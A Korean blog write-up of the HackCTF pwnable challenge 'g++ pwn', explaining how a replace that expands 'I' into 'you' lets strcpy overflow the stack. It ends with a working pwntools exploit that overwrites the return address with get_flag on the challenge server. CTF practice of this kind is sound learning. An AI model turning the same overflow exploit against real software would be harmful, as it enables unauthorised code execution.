WAR GAME/HackCTF

[HackCTF : Pwnable] g++ pwn 풀이 (CPP)

jir4vvit 2021. 3. 16. 17:52

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.2 pro

긴가 민가 했었는데 잘 찍어서 푼 것 같다. 아 풀 당시에는 IDA 7.5를 사용했었는데 디컴 자체는 7.2가 알아보기 더 쉬운 것 같다.

 


주어진 파일은 문제 바이너리 파일 뿐. .  .

 

분석에 들어가기에 앞서... 난 이 파일을 실행하려 했을 때 아래와 같은 오류가 떴다.

그래서 아래와 같은 방법으로 해결하였다.

apt-get install lib32stdc++6

stackoverflow.com/questions/11471722/libstdc-so-6-cannot-open-shared-object-file-no-such-file-or-directory

 

libstdc++.so.6: cannot open shared object file: No such file or directory

I want to run Cilkscreen command with a cilk++ program but I'v got this error /usr/local/cilk/bin/../lib32/pinbin: error while loading shared libraries: libstdc++.so.6: cannot open shared obj...

stackoverflow.com

Analysis

main은 간단간단하다. vuln 함수를 살펴보자.

 

솔직히 쫄았지만 별거 없다. 그냥 단순한 cpp파일이었을 뿐이다..

 

fgets 함수는 .. 32글자만 받기때문에 RET를 건드릴 수 없다. 탈락

replace에서 뭔가 바꿔주나보다.. 사실 replace함수 코드를 봤는데 보기 힘들어서 코드를 살펴보진 않았다.

 

strcpy함수는 복사를 할 때 길이를 체크 안하는 대표적인 BOF가 발생가능한 함수이다. 

 

일단 실행을 시켜보면 I가 you로 바뀌는 것을 확인할 수 있다.

 

이걸 이용하면 되겠군!

 

How to exploit

한글자를 세글자로 replace하는 것을 활용하자.

strcpy 함수는 복사할 때 길이체크를 안한다. 60바이트 넘게 overwriting할 수 있다.

 

Let's exploit

from pwn import *

#p = process('./gpwn')
p = remote('ctf.j0n9hyun.xyz', 3011)
e = ELF('./gpwn')

get_flag = e.symbols['get_flag']


payload = ''
payload += 'I' * 20
payload += 'BBBB'
payload += p32(get_flag)

p.sendline(payload)

p.interactive()